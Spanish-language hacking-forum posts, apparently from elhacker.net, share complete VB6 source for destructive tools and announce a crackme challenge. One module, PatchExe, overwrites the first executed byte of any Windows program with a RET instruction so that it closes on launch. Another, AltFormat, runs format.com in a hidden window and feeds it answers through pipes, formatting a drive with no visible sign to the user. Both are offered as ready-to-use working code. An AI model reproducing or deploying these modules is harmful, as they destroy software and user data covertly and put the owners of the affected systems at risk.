' Finalidad : Deshabilita cualquier ejecutable
'---------------------------------------------------------------------------------------

Option Explicit

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)

Private Enum ImageSignatureTypes
    IMAGE_DOS_SIGNATURE = &H5A4D     ''\\ MZ
    IMAGE_OS2_SIGNATURE = &H454E     ''\\ NE
    IMAGE_OS2_SIGNATURE_LE = &H454C  ''\\ LE
    IMAGE_VXD_SIGNATURE = &H454C     ''\\ LE
    IMAGE_NT_SIGNATURE = &H4550      ''\\ PE\0\0
End Enum

Private Type IMAGE_DOS_HEADER
    e_magic As Integer        ' Magic number
    e_cblp As Integer         ' Bytes on last page of file
    e_cp As Integer           ' Pages in file
    e_crlc As Integer         ' Relocations
    e_cparhdr As Integer      ' Size of header in paragraphs
    e_minalloc As Integer     ' Minimum extra paragraphs needed
    e_maxalloc As Integer     ' Maximum extra paragraphs needed
    e_ss As Integer           ' Initial (relative) SS value
    e_sp As Integer           ' Initial SP value
    e_csum As Integer         ' Checksum
    e_ip As Integer           ' Initial IP value
    e_cs As Integer           ' Initial (relative) CS value
    e_lfarlc As Integer       ' File address of relocation table
    e_ovno As Integer         ' Overlay number
    e_res(0 To 3) As Integer  ' Reserved words
    e_oemid As Integer        ' OEM identifier (for e_oeminfo)
    e_oeminfo As Integer      ' OEM information; e_oemid specific
    e_res2(0 To 9) As Integer ' Reserved words
    e_lfanew As Long          ' File address of new exe header
End Type

' MSDOS File header
Private Type IMAGE_FILE_HEADER
    Machine As Integer
    NumberOfSections As Integer
    TimeDateStamp As Long
    PointerToSymbolTable As Long
    NumberOfSymbols As Long
    SizeOfOptionalHeader As Integer
    characteristics As Integer
End Type

' Directory format.
Private Type IMAGE_DATA_DIRECTORY
    VirtualAddress As Long
    Size As Long
End Type

' Optional header format.
Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16

Private Type IMAGE_OPTIONAL_HEADER
    ' Standard fields.
    Magic As Integer
    MajorLinkerVersion As Byte
    MinorLinkerVersion As Byte
    SizeOfCode As Long
    SizeOfInitializedData As Long
    SizeOfUnitializedData As Long
    AddressOfEntryPoint As Long
    BaseOfCode As Long
    BaseOfData As Long
    ' NT additional fields.
    ImageBase As Long
    SectionAlignment As Long
    FileAlignment As Long
    MajorOperatingSystemVersion As Integer
    MinorOperatingSystemVersion As Integer
    MajorImageVersion As Integer
    MinorImageVersion As Integer
    MajorSubsystemVersion As Integer
    MinorSubsystemVersion As Integer
    W32VersionValue As Long
    SizeOfImage As Long
    SizeOfHeaders As Long
    CheckSum As Long
    SubSystem As Integer
    DllCharacteristics As Integer
    SizeOfStackReserve As Long
    SizeOfStackCommit As Long
    SizeOfHeapReserve As Long
    SizeOfHeapCommit As Long
    LoaderFlags As Long
    NumberOfRvaAndSizes As Long
    DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
    Signature As Long
    FileHeader As IMAGE_FILE_HEADER
    OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

' Section header
Const IMAGE_SIZEOF_SHORT_NAME = 8

Private Type IMAGE_SECTION_HEADER
   SecName As String * IMAGE_SIZEOF_SHORT_NAME
   VirtualSize As Long
   VirtualAddress  As Long
   SizeOfRawData As Long
   PointerToRawData As Long
   PointerToRelocations As Long
   PointerToLinenumbers As Long
   NumberOfRelocations As Integer
   NumberOfLinenumbers As Integer
   characteristics  As Long
End Type

'---------------------------------------------------------------------------------------
' Procedimiento : PatchExe
' Autor         : Karcrack
' Fecha         : 07/04/2009
' Parametro(s)  : sPath -> La ruta del fichero
' Return        : True si todo fue bien
'---------------------------------------------------------------------------------------

Public Function PatchExe(ByVal sPath As String) As Boolean
    On Error GoTo Fallo
    Dim IDH             As IMAGE_DOS_HEADER
    Dim INH             As IMAGE_NT_HEADERS
    Dim ISH()           As IMAGE_SECTION_HEADER
   
    Dim bvCode()        As Byte
    Dim PE              As Long
    Dim i               As Long
    Dim Section         As Long
   
    bvCode = ReadFile(sPath)                                                        'Leemos el fichero
   
    Call CopyMemory(IDH, bvCode(0), Len(IDH))                                       'Leemos la info del PE
    Call CopyMemory(INH, bvCode(IDH.e_lfanew), Len(INH))                            'Leemos la info del PE
   
    For i = 0 To INH.FileHeader.NumberOfSections - 1
        ReDim Preserve ISH(0 To i)
        Call CopyMemory(ISH(i), bvCode(IDH.e_lfanew + Len(INH) + Len(ISH(i)) * i), Len(ISH(i)))
        If (INH.OptionalHeader.AddressOfEntryPoint => ISH(i).VirtualAddress) And (INH.OptionalHeader.AddressOfEntryPoint =< ISH(i).VirtualAddress + ISH(i).VirtualSize) Then
            Section = i
            Exit For
        End If
    Next i
   
    bvCode(INH.OptionalHeader.AddressOfEntryPoint - ISH(i).VirtualAddress + ISH(i).PointerToRawData) = &HC3 'Parcheamos el fichero (C3=RET)
   
    Call SaveFile(bvCode, sPath)
   
    PatchExe = True                                                                 'Todo funciono
    Exit Function                                                                   'Salimos
Fallo:
    PatchExe = False                                                                'Algo ha ido mal :S
End Function


'---------------------------------------------------------------------------------------
' Procedimiento : ReadFile
' Autor         : Karcrack
' Fecha         : 07/04/2009
' Parametro(s)  : sPath -> La ruta del fichero
' Return        : Devuelve un Byte array con los bytes del fichero
'---------------------------------------------------------------------------------------

Private Function ReadFile(ByVal sPath As String) As Byte()
    Dim bvTmp()         As Byte
   
    Open sPath For Binary As #1
        ReDim bvTmp(0 To LOF(1) - 1)
        Get #1, , bvTmp
    Close #1
   
    ReadFile = bvTmp
End Function


'---------------------------------------------------------------------------------------
' Procedimiento : SaveFile
' Autor         : Karcrack
' Fecha         : 07/04/2009
' Parametro(s)  : bvData() -> Array de datos
'                 sPath    -> Ruta de guardado
'---------------------------------------------------------------------------------------

Private Sub SaveFile(ByRef bvData() As Byte, ByVal sPath As String)
    Open sPath For Binary As #1
        Put #1, , bvData
    Close #1
End Sub


[Este metodo modifica el ejecutable para que nada mas abrirse se cierre, agregando un RET al pimer byte ejecutado.]

Buenas tardes

Hoy os presento este metodo de 'corrupcion' de ejecutables. Desde que vi el metodo que posteo Mad estuve pensando:

Código [Seleccionar] Expandir

http://foro.elhacker.net/analisis_y_diseno_de_malware/metodo_ifeo_bug_image_file_execution_options-t249670.0.html

Este metodo modifica el ejecutable para que nada mas abrirse se cierre, agregando un RET al pimer byte ejecutado.

Que tiene de especial?

• Solo modifica un Byte
• Trabaja con el PE

Problemas? Solo uno:

• Necesitas permisos de escritura en el fichero, si esta abierto no podras...

Pasos a seguir para aplicar este metodo:

• Se obtiene el Entry Point RVA del fichero
• Se pasa a RAW
• Se reemplaza el primer BYTE por un RET (C3h)

Aqui teneis el codigo en VB:

Código [Seleccionar] Expandir

http://foro.elhacker.net/programacion_vb/sourceret_exe_corruption_corrompe_cualquier_ejecutable-t251138.0.html;msg1211626#msg1211626


Saludos

[Cobein]

Bueno, hasta las narices de este post:

Código [Seleccionar] Expandir

http://foro.elhacker.net/programacion_vb/formatear_sin_usar_shformatdrive-t244230.0.html
Por eso he hecho este modulo usando PIPES (Gracias Cobein)

Aqui viene:

Código (vb) [Seleccionar] Expandir

'---------------------------------------------------------------------------------------
' Modulo    : mFormat
' Autor     : Karcrack
' Fecha-Hora: 13/02/2009  16:25
' Finalidad : Formatear una Unidad de Forma oculta, usando PIPES
' Referencia: Clase StdIO de COBEIN, de su 'troyano'
' Agradec.  : A COBEIN :D Por su code ;)
'---------------------------------------------------------------------------------------

Option Explicit

Private Const PROCESS_QUERY_INFORMATION     As Long = &H400
Private Const PROCESS_TERMINATE             As Long = (&H1)
Private Const PROCESS_VM_READ               As Long = &H10
Private Const NORMAL_PRIORITY_CLASS         As Long = &H20&
Private Const STARTF_USESTDHANDLES          As Long = &H100&
Private Const STARTF_USESHOWWINDOW          As Long = &H1
Private Const SW_HIDE                       As Long = 0
Private Const PIPE_WAIT                     As Long = &H0
Private Const PIPE_NOWAIT                   As Long = &H1
Private Const PIPE_READMODE_BYTE            As Long = &H0
Private Const PIPE_READMODE_MESSAGE         As Long = &H2
Private Const PIPE_TYPE_BYTE                As Long = &H0
Private Const PIPE_TYPE_MESSAGE             As Long = &H4

Private Type SECURITY_ATTRIBUTES
    nLength                 As Long
    lpSecurityDescriptor    As Long
    bInheritHandle          As Long
End Type

Private Type STARTUPINFO
    cb                      As Long
    lpReserved              As Long
    lpDesktop               As Long
    lpTitle                 As Long
    dwX                     As Long
    dwY                     As Long
    dwXSize                 As Long
    dwYSize                 As Long
    dwXCountChars           As Long
    dwYCountChars           As Long
    dwFillAttribute         As Long
    dwFlags                 As Long
    wShowWindow             As Integer
    cbReserved2             As Integer
    lpReserved2             As Long
    hStdInput               As Long
    hStdOutput              As Long
    hStdError               As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess                As Long
    hThread                 As Long
    dwProcessId             As Long
    dwThreadID              As Long
End Type

Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long
Private Declare Function SetNamedPipeHandleState Lib "kernel32" (ByVal hNamedPipe As Long, lpMode As Long, lpMaxCollectionCount As Long, lpCollectDataTimeout As Long) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Any) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)

Private c_bPiping           As Boolean
Private c_bCancel           As Boolean
Private c_lhReadPipe        As Long
Private c_lhWritePipe       As Long
Private c_lhReadPipe2       As Long
Private c_lhWritePipe2      As Long

Dim tSTARTUPINFO            As STARTUPINFO
Dim tPROCESS_INFORMATION    As PROCESS_INFORMATION
Dim tSECURITY_ATTRIBUTES    As SECURITY_ATTRIBUTES
Dim sBuffer                 As String * 4096

Public Function AltFormat(ByVal sDrive As String, Optional ByVal Quick As Boolean, Optional ByVal sName As String) As Boolean
    Dim sCmd        As String
   
    sCmd = "format.com " & sDrive & " /X" & IIf((Quick = True), " /Q", vbNullString)
    If Not Left$(sName, 1) = Chr$(13) Then sName = sName & Chr$(13)
    With tSECURITY_ATTRIBUTES
        .nLength = LenB(tSECURITY_ATTRIBUTES)
        .bInheritHandle = True
        .lpSecurityDescriptor = False
    End With
   
    Call CreatePipe(c_lhReadPipe, c_lhWritePipe, tSECURITY_ATTRIBUTES, 0&)
    Call CreatePipe(c_lhReadPipe2, c_lhWritePipe2, tSECURITY_ATTRIBUTES, 0&)
    Call SetNamedPipeHandleState(c_lhReadPipe, PIPE_READMODE_BYTE Or PIPE_NOWAIT, 0&, 0&)
    With tSTARTUPINFO
        .cb = LenB(tSTARTUPINFO)
        .dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
        .wShowWindow = SW_HIDE
        .hStdOutput = c_lhWritePipe
        .hStdError = c_lhWritePipe
        .hStdInput = c_lhReadPipe2
    End With
    Call CreateProcessA(0&, sCmd, tSECURITY_ATTRIBUTES, tSECURITY_ATTRIBUTES, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, tSTARTUPINFO, tPROCESS_INFORMATION)
    If InStr(1, WriteToPipe(Chr$(13)), "Escriba una etiqueta de volumen", vbTextCompare) <> 0 Then
        Do Until InStr(1, WriteToPipe(sName), "a otro disco (S/N)", vbTextCompare) <> 0
            Call Sleep(1000)
        Loop
    End If
    Call CloseHandle(tPROCESS_INFORMATION.hProcess)
    Call CloseHandle(c_lhReadPipe):     c_lhReadPipe = 0
    Call CloseHandle(c_lhReadPipe2):    c_lhReadPipe2 = 0
    Call CloseHandle(c_lhWritePipe):    c_lhWritePipe = 0
    Call CloseHandle(c_lhWritePipe2):   c_lhWritePipe2 = 0
   
    AltFormat = ExitProcessPID(tPROCESS_INFORMATION.dwProcessId)
End Function

Private Function WriteToPipe(ByVal sData As String) As String
    Dim bvData()    As Byte
   
    bvData = StrConv(sData & vbCrLf & vbNullChar, vbFromUnicode)
    Call WriteFile(c_lhWritePipe2, bvData(0), UBound(bvData), 0, 0&)
   
    Do
        DoEvents: Call Sleep(2500)
        If Not ReadFile(c_lhReadPipe, sBuffer, 4096, 0, 0&) = 0 Then
            WriteToPipe = Left$(sBuffer, lstrlen(sBuffer))
            sBuffer = String$(4096, vbNullChar)
            DoEvents
        Else
            Exit Do
        End If
    Loop
End Function

Private Function ExitProcessPID(ByVal lProcessID As Long) As Boolean
    Dim lProcess As Long
    Dim lExitCode As Long
   
    lProcess = OpenProcess(PROCESS_TERMINATE Or PROCESS_QUERY_INFORMATION Or _
       PROCESS_VM_READ, _
       0, lProcessID)
       
    If GetExitCodeProcess(lProcess, lExitCode) Then
        TerminateProcess lProcess, lExitCode
        ExitProcessPID = True
    End If
   
    Call CloseHandle(lProcess)
End Function


Forma de uso:

Código (vb) [Seleccionar] Expandir

Call AltFormat("A:", True)

NOTA: Solo funciona con W$ en español

Saludos

PD:Odio el nuevo 'xD' ( = )

[Lenguaje:]

Bueno, aqui mi Tercer CrackMe

Lenguaje: VB6
Dificultad: Muy Dificil (Esto es un poco subjetivo )

Lo que hay que hacer es:
0- Conseguir cumplir la condicion oculta
1- Obtener un Usuario y Contraseña valido. Nota:Un mismo usuario puede tener contraseñas infintas
2- Hacer un KeyGen (Opcional y ¿Dificil?)

Lo que no hay que hacer es:
1- Parchear para que acepta cualquier User y Password

Descarga:

Código [Seleccionar] Expandir

http://www.box.net/shared/d9zur18gpy

Hall Of Fame:

• SolidCls
• Karmany
• PeterPunk77(KEYGEN INCLUIDO!)

Aqui adjunto el KeyGen de PeterPunk :

http://shorttext.com/xy6b9s4  No entrar a no ser que quieras que el CrackMe pierda la gracia

Saludos y Suerte